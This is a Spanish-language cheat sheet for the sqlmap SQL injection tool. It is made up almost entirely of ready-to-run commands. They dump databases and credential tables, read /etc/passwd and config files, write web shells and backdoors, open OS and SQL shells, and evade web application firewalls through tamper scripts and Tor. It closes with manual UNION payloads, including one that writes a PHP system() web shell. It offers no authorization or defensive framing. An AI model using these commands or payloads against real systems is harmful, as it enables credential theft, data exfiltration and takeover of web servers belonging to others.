sqlmap es una herramienta de código abierto diseñada para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. A continuación se presenta una guía técnica detallada sobre su uso.
Comandos básicos
python sqlmap.py --version
python sqlmap.py -hh
python sqlmap.py -u "http://192.168.117.135/app.php?id=1"
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" --dbs
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" -D ejemplo_db --tables
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" -D ejemplo_db -T usuarios --columns
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" -D ejemplo_db -T usuarios -C id,nombre,clave --dump
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" --os-shell
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" --file-read "/var/www/html/config.php"
Uso avanzado con distinots vectores de ataque
sqlmap -r solicitud_http.txt
sqlmap -r solicitud_http.txt -p parametro_vulnerable
sqlmap -u "http://objetivo.com/page?id=1" --cookie="PHPSESSID=abc123"
sqlmap -u "http://objetivo.com/login" --data="user=admin&pass=test"
sqlmap -u "http://objetivo.com/page?id=1" --current-db
sqlmap -u "http://objetivo.com/page?id=1" --current-user
sqlmap -u "http://objetivo.com/page?id=1" --is-dba
sqlmap -u "http://objetivo.com/page?id=1" --users
sqlmap -u "http://objetivo.com/page?id=1" --passwords
sqlmap -u "http://objetivo.com/page?id=1" -D seguridad --tables
sqlmap -u "http://objetivo.com/page?id=1" -D seguridad -T credenciales --columns
sqlmap -u "http://objetivo.com/page?id=1" -D seguridad -T credenciales -C usuario --dump
sqlmap -u "http://objetivo.com/page?id=1" --dump-all
sqlmap -u "http://objetivo.com/page?id=1" --sql-shell
sqlmap -u "http://objetivo.com/page?id=1" --file-write local_shell.php --file-dest /var/www/html/shell.php
sqlmap -u "http://objetivo.com/page?id=1" --dbms MySQL
sqlmap -u "http://objetivo.com/page?id=1" --proxy=http://127.0.0.1:8080
sqlmap -u "http://objetivo.com/page?id=1" --technique=BEUST
sqlmap -u "http://objetivo.com/page?id=1" --tamper=space2comment,randomcase
sqlmap -u "http://objetivo.com/page?id=1" --level=5 --risk=3
sqlmap -u "http://objetivo.com/page?id=1" -v 3
sqlmap -u "http://objetivo.com/page?id=1" --threads=10
sqlmap -u "http://objetivo.com/page?id=1" --fresh-queries
sqlmap -u "http://objetivo.com/page?id=1" --flush-session
sqlmap -u "http://objetivo.com/page?id=1" --batch
sqlmap -u "http://objetivo.com/page?id=1" --safe-url "http://objetivo.com/home" --safe-freq=5
sqlmap -u "http://objetivo.com/page?id=1" --delay=2
Niveles de prueba (--level)
El parámetro --level define qué partes de la solicitud HTTP se analizan:
- Nivel 1 (predeterminado): solo parámetros GET/POST.
- Nivel 2: incluye cookies.
- Nivel 3: incluye User-Agent y Referer.
- Nivel 4-5: incluye cabeceras adicionales como Host.
Lectura y escritura de archivos
sqlmap -u "http://192.168.1.10/test.php?id=1" --file-read "/etc/passwd"
sqlmap -u "http://192.168.1.10/test.php?id=1" --file-write shell.php --file-dest "/var/www/html/backdoor.php"
Ejecución de comandos del sistema
sqlmap -u "http://192.168.1.10/test.php?id=1" --os-cmd="whoami"
sqlmap -u "http://192.168.1.10/test.php?id=1" --os-shell
Evasión de WAF y filtros
Para detectar y evadir firewalls de aplicaciones web:
sqlmap -u "http://objetivo.com/vuln.php?id=1" --identify-waf
sqlmap -u "http://objetivo.com/vuln.php?id=1" --random-agent
sqlmap -u "http://objetivo.com/vuln.php?id=1" --tamper=space2comment,base64encode,charencode
sqlmap -u "http://objetivo.com/vuln.php?id=1" --hpp
sqlmap -u "http://objetivo.com/vuln.php?id=1" --hex
Scripts tamper comunes
| Script | Función |
|---|---|
| space2comment.py | Reemplaza espacios por /**/ |
| randomcase.py | Alterna mayúsculas/minúsculas aleatoriamente |
| charencode.py | Codifica en URL |
| base64encode.py | Codifica el payload en Base64 |
| between.py | Reemplaza > por NOT BETWEEN |
| equaltolike.py | Reemplaza = por LIKE |
| versionedkeywords.py | Envuelve palabras clave en comentarios versionados de MySQL |
Parámetros útiles adicionales
-v [0-6]: nivel de verbosidad (6 muestra todo el tráfico HTTP).--purge-output: elimina resultados anteriores.--keep-alive: mantiene conexiones persistentes para evitar errores de red.--mobile: emula un dispositivo móvil.--tor: enruta el tráfico a través de Tor.
Ejemplo completo de extracción de datos
sqlmap -u "http://app.test/index.php?id=5" --current-db
sqlmap -u "http://app.test/index.php?id=5" --dbs
sqlmap -u "http://app.test/index.php?id=5" -D app_db --tables
sqlmap -u "http://app.test/index.php?id=5" -D app_db -T usuarios --columns
sqlmap -u "http://app.test/index.php?id=5" -D app_db -T usuarios -C email,clave --dump
Consideraciones para MySQL
Para leer/escribir archivos en MySQL, el servidor debe tener configurado:
secure_file_priv = ""
De lo contrario, las operaciones LOAD_FILE() e INTO OUTFILE estarán restringidas.
Inyección manual altenrativa (para referencia)
-- Leer archivo
?id=-1' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
-- Escribir shell
?id=1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -